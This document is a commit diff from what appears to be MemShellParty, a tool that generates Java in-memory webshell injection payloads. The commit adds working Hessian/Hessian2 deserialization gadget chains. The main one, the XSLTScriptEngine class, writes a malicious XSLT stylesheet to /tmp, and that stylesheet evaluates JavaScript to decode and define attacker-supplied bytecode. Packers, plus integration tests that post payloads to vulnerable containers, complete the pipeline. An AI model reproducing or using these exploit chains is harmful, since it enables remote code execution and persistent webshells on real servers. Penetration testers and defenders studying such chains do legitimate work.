docs: update

.github/workflows/test.yaml

@@ -2,15 +2,8 @@ name: Test
 
 on:
   push:
-    paths-ignore:
-      - 'docs/**'
-      - 'boot/**'
-      - 'web/**'
-      - '**.md'
-      - '**/*.png'
-  pull_request:
     branches:
-      - main
+      - '**'
     paths-ignore:
       - 'docs/**'
       - 'boot/**'

CHANGELOG.md

@@ -5,6 +5,24 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-20
+
+### Added
+
+- 支持 Hessian、Hessian2, XSLT 反序列化 (#36) by @ReaJason
+
+### Changed
+
+- 移除无用依赖，JavaSocket，Gson
+- Gradle 升级至 8.12.1
+- 更新 TestContainers 和 Junit 的版本
+
+### Fixed
+
+- 修复 UI 在仅修改打包方式重新生成时，多选 payload 下拉框置空，且 payload 没有变为最新的。
+
+**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
+
 ## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
 
 ### Changed
@@ -15,6 +33,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 
 - 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
 
+**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
+
 ## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
 
 ### Added
@@ -31,6 +51,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 
 - 修复随机类名如果为保留字时会无法加载
 
+**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)
+
 ## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
 
 ### Added

README.md

@@ -152,6 +152,7 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
 - [x] 原生反序列化（CB4）
 - [x] Agent
 - [x] XXL-JOB Executor
+- [x] Hessian、Hessian2 反序列化（XSLT链）
 - [ ] JNDI
 - [ ] JDBC 连接
 - [ ] 其他常见反序列化

bom/build.gradle

@@ -28,10 +28,10 @@ dependencies {
 
         api 'org.jetbrains:annotations:26.0.1'
 
-        api "org.mockito:mockito-core:5.+"
+        api "org.mockito:mockito-core:5.15.2"
         api 'org.hamcrest:hamcrest:3.0'
-        api 'org.junit:junit-bom:5.10.0'
+        api 'org.junit:junit-bom:5.11.4'
-        api 'org.testcontainers:testcontainers:1.20.4'
+        api 'org.testcontainers:testcontainers:1.20.5'
-        api 'org.testcontainers:junit-jupiter:1.20.4'
+        api 'org.testcontainers:junit-jupiter:1.20.5'
     }
 }

boot/Dockerfile

@@ -10,7 +10,10 @@ WORKDIR /app
 COPY build/libs/boot-${VERSION}.jar app.jar
 
 ENV JAVA_OPTS="" \
-    INTER_JAVA_OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
+    INTER_JAVA_OPTS="\
+                    --add-opens=java.base/java.util=ALL-UNNAMED \
+                    --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
+                    --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
 
 EXPOSE 8080
 

boot/build.gradle

@@ -21,13 +21,6 @@ def runtimeJvmArgs = [
 
 tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
 
-tasks.withType(JavaCompile).configureEach {
-    options.compilerArgs += [
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
-    ]
-}
-
 tasks.withType(Test).configureEach {
     jvmArgs += runtimeJvmArgs
 }
@@ -57,7 +50,6 @@ dependencies {
         exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
     }
     implementation 'org.springframework.boot:spring-boot-starter-undertow'
-    implementation 'com.google.code.gson:gson:2.11.0'
     compileOnly 'org.projectlombok:lombok'
     developmentOnly 'org.springframework.boot:spring-boot-devtools'
     annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'

deserialize/build.gradle

@@ -8,40 +8,19 @@ version = rootProject.version
 dependencies {
     implementation 'net.bytebuddy:byte-buddy'
 
-    implementation 'commons-beanutils:commons-beanutils:1.9.3'
+    implementation 'com.caucho:hessian:4.0.66'
+    implementation 'commons-beanutils:commons-beanutils:1.9.4'
 
     testImplementation platform('org.junit:junit-bom')
     testImplementation 'org.junit.jupiter:junit-jupiter'
 }
 
-
-def runtimeJvmArgs = [
-        '--add-opens=java.base/java.lang=ALL-UNNAMED',
-        '--add-opens=java.base/java.util=ALL-UNNAMED',
-        '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
-        '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
-]
-
-tasks.withType(JavaCompile).configureEach {
-    options.compilerArgs += [
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
-    ]
-}
-
-tasks.withType(Test).configureEach {
-    jvmArgs += runtimeJvmArgs
-}
-
-// For running the application
-tasks.withType(JavaExec).configureEach {
-    jvmArgs += runtimeJvmArgs
-}
-
 java {
     toolchain {
-        languageVersion = JavaLanguageVersion.of(11)
+        languageVersion = JavaLanguageVersion.of(8)
     }
+    sourceCompatibility = JavaVersion.VERSION_1_8
+    targetCompatibility = JavaVersion.VERSION_1_8
 }
 
 test {

deserialize/src/main/java/com/reajason/javaweb/deserialize/Hessian2DeserializeGenerator.java

@@ -0,0 +1,24 @@
+package com.reajason.javaweb.deserialize;
+
+import com.caucho.hessian.io.Hessian2Output;
+import lombok.SneakyThrows;
+
+import java.io.ByteArrayOutputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class Hessian2DeserializeGenerator {
+    @SneakyThrows
+    public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
+        PayloadType payloadType = config.getPayloadType();
+        Object obj = payloadType.getPayload().generate(bytes, className);
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        Hessian2Output hessian2Output = new Hessian2Output(bos);
+        hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
+        hessian2Output.writeObject(obj);
+        hessian2Output.close();
+        return bos.toByteArray();
+    }
+}

deserialize/src/main/java/com/reajason/javaweb/deserialize/HessianDeserializeGenerator.java

@@ -0,0 +1,24 @@
+package com.reajason.javaweb.deserialize;
+
+import com.caucho.hessian.io.HessianOutput;
+import lombok.SneakyThrows;
+
+import java.io.ByteArrayOutputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class HessianDeserializeGenerator {
+    @SneakyThrows
+    public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
+        PayloadType payloadType = config.getPayloadType();
+        Object obj = payloadType.getPayload().generate(bytes, className);
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        HessianOutput hessianOutput = new HessianOutput(bos);
+        hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
+        hessianOutput.writeObject(obj);
+        hessianOutput.close();
+        return bos.toByteArray();
+    }
+}

deserialize/src/main/java/com/reajason/javaweb/deserialize/JavaDeserializeGenerator.java

@@ -9,7 +9,7 @@ import java.io.ObjectOutputStream;
  * @author ReaJason
  * @since 2024/12/13
  */
-public class DeserializeGenerator {
+public class JavaDeserializeGenerator {
 
     @SneakyThrows
     public static byte[] generate(byte[] bytes, DeserializeConfig config) {

deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java

@@ -11,5 +11,18 @@ public interface Payload {
      * @param bytes 恶意类字节流
      * @return 序列化对象
      */
-    Object generate(byte[] bytes);
+    default Object generate(byte[] bytes) {
+        throw new UnsupportedOperationException();
+    }
+
+    /**
+     * 将恶意类字节流封装成序列化对象
+     *
+     * @param bytes     恶意类字节流
+     * @param className 恶意类名
+     * @return 序列化对象
+     */
+    default Object generate(byte[] bytes, String className) {
+        throw new UnsupportedOperationException();
+    }
 }

deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java

@@ -1,6 +1,10 @@
 package com.reajason.javaweb.deserialize;
 
-import com.reajason.javaweb.deserialize.payload.*;
+import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
 import lombok.Getter;
 
 /**
@@ -17,6 +21,10 @@ public enum PayloadType {
     CommonsBeanutils19(new CommonsBeanutils19()),
     CommonsBeanutils110(new CommonsBeanutils110()),
 
+    /**
+     * Hessian XSLT write
+     */
+    XSLTScriptEngine(new XSLTScriptEngine())
     ;
 
     private final Payload payload;

deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/hessian/XSLTScriptEngine.java

@@ -0,0 +1,51 @@
+package com.reajason.javaweb.deserialize.payload.hessian;
+
+import com.reajason.javaweb.deserialize.Payload;
+import com.reajason.javaweb.deserialize.utils.HessianUtils;
+import com.reajason.javaweb.deserialize.utils.Reflections;
+import lombok.SneakyThrows;
+
+import javax.swing.*;
+import java.util.Arrays;
+import java.util.Base64;
+import java.util.HashMap;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class XSLTScriptEngine implements Payload {
+    @Override
+    @SneakyThrows
+    public Object generate(byte[] bytes, String className) {
+        String base64Str = Base64.getEncoder().encodeToString(bytes);
+
+        String tmpPath = "/tmp/CACHE_XML";
+
+        String xml = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
+                "                xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" +
+                "                xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" +
+                "    <xsl:template match=\"/\">\n" +
+                "        <xsl:variable name=\"js\" select=\"&quot;var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()&quot;\" />\n" +
+                "        <xsl:variable name=\"result\" select=\"js:eval(se:getEngineByName(se:new(),'js'), $js)\"/>\n" +
+                "        <xsl:value-of select=\"$result\"/>\n" +
+                "    </xsl:template>\n" +
+                "</xsl:stylesheet>\n";
+
+        UIDefaults.ProxyLazyValue writeValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{tmpPath, xml.getBytes()});
+        Reflections.setFieldValue(writeValue, "acc", null);
+        UIDefaults.ProxyLazyValue processValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file://" + tmpPath}});
+        Reflections.setFieldValue(processValue, "acc", null);
+
+        HashMap<Object, Object> map1 = new HashMap<>(1);
+        HashMap<Object, Object> map2 = new HashMap<>(1);
+        HashMap<Object, Object> map3 = new HashMap<>(1);
+        HashMap<Object, Object> map4 = new HashMap<>(1);
+        map1.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
+        map2.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
+        map3.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
+        map4.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
+
+        return HessianUtils.toMap(Arrays.asList(map1, map2, map3, map4));
+    }
+}

deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils110.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.deserialize.payload;
+package com.reajason.javaweb.deserialize.payload.java;
 
 import com.reajason.javaweb.deserialize.Payload;
 import com.reajason.javaweb.deserialize.TemplateUtils;
@@ -16,8 +16,6 @@ import java.net.URLClassLoader;
 import java.util.Comparator;
 import java.util.PriorityQueue;
 
-import static net.bytebuddy.matcher.ElementMatchers.named;
-
 /**
  * @author ReaJason
  * @since 2024/12/3

deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils16.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.deserialize.payload;
+package com.reajason.javaweb.deserialize.payload.java;
 
 import com.reajason.javaweb.deserialize.Payload;
 import com.reajason.javaweb.deserialize.TemplateUtils;

deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils18.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.deserialize.payload;
+package com.reajason.javaweb.deserialize.payload.java;
 
 import com.reajason.javaweb.deserialize.Payload;
 import com.reajason.javaweb.deserialize.TemplateUtils;

deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils19.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.deserialize.payload;
+package com.reajason.javaweb.deserialize.payload.java;
 
 import com.reajason.javaweb.deserialize.Payload;
 import com.reajason.javaweb.deserialize.TemplateUtils;

deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/HessianUtils.java

@@ -0,0 +1,32 @@
+package com.reajason.javaweb.deserialize.utils;
+
+import java.lang.reflect.Array;
+import java.lang.reflect.Constructor;
+import java.util.HashMap;
+import java.util.List;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class HessianUtils {
+
+    public static HashMap<?, ?> toMap(List<?> objs) throws Exception {
+        HashMap<?, ?> s = new HashMap<>(8);
+        Reflections.setFieldValue(s, "size", objs.size());
+        Class<?> nodeC;
+        try {
+            nodeC = Class.forName("java.util.HashMap$Node");
+        } catch (ClassNotFoundException var6) {
+            nodeC = Class.forName("java.util.HashMap$Entry");
+        }
+        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
+        nodeCons.setAccessible(true);
+        Object tbl = Array.newInstance(nodeC, objs.size());
+        for (int i = 0; i < objs.size(); i++) {
+            Array.set(tbl, i, nodeCons.newInstance(0, objs.get(i), objs.get(i), null));
+        }
+        Reflections.setFieldValue(s, "table", tbl);
+        return s;
+    }
+}

deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java

@@ -1,7 +1,11 @@
 package com.reajason.javaweb.deserialize.utils;
 
-import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
+import sun.reflect.ReflectionFactory;
+import sun.security.pkcs.PKCS9Attributes;
 
+import java.lang.reflect.AccessibleObject;
+import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 
 /**
@@ -19,7 +23,7 @@ public class Reflections {
             java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
             Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
             java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
-            getAndSetObjectM.invoke(unsafe, CommonsBeanutils19.class, offset, module);
+            getAndSetObjectM.invoke(unsafe, Reflections.class, offset, module);
         } catch (Exception ignored) {
         }
     }
@@ -47,4 +51,18 @@ public class Reflections {
         final Field field = getField(obj.getClass(), fieldName);
         return field.get(obj);
     }
+
+    public static Object createWithoutConstructor(String classname) throws Exception {
+        return createWithoutConstructor(Class.forName(classname));
+    }
+    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
+        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
+    }
+    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
+        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
+        objCons.setAccessible(true);
+        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
+        sc.setAccessible(true);
+        return (T) sc.newInstance(consArgs);
+    }
 }

generator/build.gradle

@@ -22,13 +22,6 @@ def runtimeJvmArgs = [
         '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
 ]
 
-tasks.withType(JavaCompile).configureEach {
-    options.compilerArgs += [
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
-    ]
-}
-
 tasks.withType(Test).configureEach {
     jvmArgs += runtimeJvmArgs
 }
@@ -58,7 +51,7 @@ dependencies {
     implementation 'com.squareup.okhttp3:okhttp'
     implementation 'ch.qos.logback:logback-classic'
     implementation 'com.alibaba.fastjson2:fastjson2'
-    implementation 'org.java-websocket:Java-WebSocket'
+//    implementation 'org.java-websocket:Java-WebSocket'
 
     implementation 'org.springframework:spring-webmvc'
     implementation 'org.springframework:spring-webflux'

generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java

@@ -5,6 +5,10 @@ import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
 import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
 import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
 import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
+import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2Packer;
+import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker;
+import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianPacker;
+import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScriptEnginePacker;
 import com.reajason.javaweb.memshell.packer.deserialize.java.*;
 import com.reajason.javaweb.memshell.packer.el.ELPacker;
 import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
@@ -96,6 +100,15 @@ public enum Packers {
     JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
     JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
 
+    /**
+     * Hessian 反序列化打包器
+     */
+    Hessian2Deserialize(new Hessian2Packer()),
+    Hessian2XSLTScriptEngine(new Hessian2XSLTScriptEnginePacker(), Hessian2Packer.class),
+
+    HessianDeserialize(new HessianPacker()),
+    HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
+
     AgentJar(new AgentJarPacker()),
 
     XxlJob(new XxlJobPacker()),

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2Packer.java

@@ -0,0 +1,17 @@
+package com.reajason.javaweb.memshell.packer.deserialize.hessian;
+
+import com.reajason.javaweb.deserialize.DeserializeConfig;
+import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
+import com.reajason.javaweb.deserialize.PayloadType;
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.AggregatePacker;
+import com.reajason.javaweb.memshell.packer.Packer;
+import org.apache.commons.codec.binary.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/20
+ */
+public class Hessian2Packer implements AggregatePacker {
+
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2XSLTScriptEnginePacker.java

@@ -0,0 +1,24 @@
+package com.reajason.javaweb.memshell.packer.deserialize.hessian;
+
+import com.reajason.javaweb.deserialize.DeserializeConfig;
+import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
+import com.reajason.javaweb.deserialize.PayloadType;
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.Packer;
+import org.apache.commons.codec.binary.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/20
+ */
+public class Hessian2XSLTScriptEnginePacker implements Packer {
+    @Override
+    public String pack(GenerateResult generateResult) {
+        byte[] injectorBytes = generateResult.getInjectorBytes();
+        String injectorClassName = generateResult.getInjectorClassName();
+        DeserializeConfig deserializeConfig = new DeserializeConfig();
+        deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
+        byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
+        return Base64.encodeBase64String(generate);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianPacker.java

@@ -0,0 +1,11 @@
+package com.reajason.javaweb.memshell.packer.deserialize.hessian;
+
+import com.reajason.javaweb.memshell.packer.AggregatePacker;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/20
+ */
+public class HessianPacker implements AggregatePacker {
+
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java

@@ -0,0 +1,24 @@
+package com.reajason.javaweb.memshell.packer.deserialize.hessian;
+
+import com.reajason.javaweb.deserialize.DeserializeConfig;
+import com.reajason.javaweb.deserialize.HessianDeserializeGenerator;
+import com.reajason.javaweb.deserialize.PayloadType;
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.Packer;
+import org.apache.commons.codec.binary.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/20
+ */
+public class HessianXSLTScriptEnginePacker implements Packer {
+    @Override
+    public String pack(GenerateResult generateResult) {
+        byte[] injectorBytes = generateResult.getInjectorBytes();
+        String injectorClassName = generateResult.getInjectorClassName();
+        DeserializeConfig deserializeConfig = new DeserializeConfig();
+        deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
+        byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
+        return Base64.encodeBase64String(generate);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils110Packer.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.memshell.packer.deserialize.java;
 
 import com.reajason.javaweb.deserialize.DeserializeConfig;
-import com.reajason.javaweb.deserialize.DeserializeGenerator;
+import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
 import com.reajason.javaweb.deserialize.PayloadType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
@@ -19,6 +19,6 @@ public class CommonsBeanutils110Packer implements Packer {
     public String pack(GenerateResult generateResult) {
         DeserializeConfig deserializeConfig = new DeserializeConfig();
         deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110);
-        return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
+        return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils16Packer.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.memshell.packer.deserialize.java;
 
 import com.reajason.javaweb.deserialize.DeserializeConfig;
-import com.reajason.javaweb.deserialize.DeserializeGenerator;
+import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
 import com.reajason.javaweb.deserialize.PayloadType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
@@ -19,6 +19,6 @@ public class CommonsBeanutils16Packer implements Packer {
     public String pack(GenerateResult generateResult) {
         DeserializeConfig deserializeConfig = new DeserializeConfig();
         deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16);
-        return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
+        return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils18Packer.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.memshell.packer.deserialize.java;
 
 import com.reajason.javaweb.deserialize.DeserializeConfig;
-import com.reajason.javaweb.deserialize.DeserializeGenerator;
+import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
 import com.reajason.javaweb.deserialize.PayloadType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
@@ -19,6 +19,6 @@ public class CommonsBeanutils18Packer implements Packer {
     public String pack(GenerateResult generateResult) {
         DeserializeConfig deserializeConfig = new DeserializeConfig();
         deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18);
-        return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
+        return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils19Packer.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.memshell.packer.deserialize.java;
 
 import com.reajason.javaweb.deserialize.DeserializeConfig;
-import com.reajason.javaweb.deserialize.DeserializeGenerator;
+import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
 import com.reajason.javaweb.deserialize.PayloadType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
@@ -19,6 +19,6 @@ public class CommonsBeanutils19Packer implements Packer {
     public String pack(GenerateResult generateResult) {
         DeserializeConfig deserializeConfig = new DeserializeConfig();
         deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
-        return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
+        return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
     }
 }

gradle/wrapper/gradle-wrapper.properties

@@ -1,7 +1,6 @@
 distributionBase=GRADLE_USER_HOME
 distributionPath=wrapper/dists
-# upgrade command: ./gradlew wrapper --gradle-version latest
+distributionUrl=https\://services.gradle.org/distributions/gradle-8.12.1-bin.zip
-distributionUrl=https\://services.gradle.org/distributions/gradle-8.12-all.zip
 networkTimeout=10000
 validateDistributionUrl=true
 zipStoreBase=GRADLE_USER_HOME

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java

@@ -78,6 +78,7 @@ public class ShellAssertionTool {
         } else {
             content = packer.getInstance().pack(generateResult);
             assertInjectIsOk(url, shellType, shellTool, content, packer, container);
+            log.info("send inject payload successfully");
         }
 
         switch (shellTool) {
@@ -247,6 +248,8 @@ public class ShellAssertionTool {
             case JavaCommonsBeanutils18 -> VulTool.postData(url + "/java_deserialize/cb183", content);
             case JavaCommonsBeanutils19 -> VulTool.postData(url + "/java_deserialize/cb194", content);
             case JavaCommonsBeanutils110 -> VulTool.postData(url + "/java_deserialize/cb110", content);
+            case HessianDeserialize -> VulTool.postData(url + "/hessian", content);
+            case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content);
             case Base64 -> VulTool.postData(url + "/b64", content);
             case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
             default -> throw new IllegalStateException("Unexpected value: " + packer);

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java

@@ -46,7 +46,9 @@ public class Tomcat8DeserializeContainerTest {
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils17),
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils18),
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils19),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110)
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize)
         );
     }
 

vul/vul-webapp-deserialize/build.gradle

@@ -28,6 +28,7 @@ dependencies {
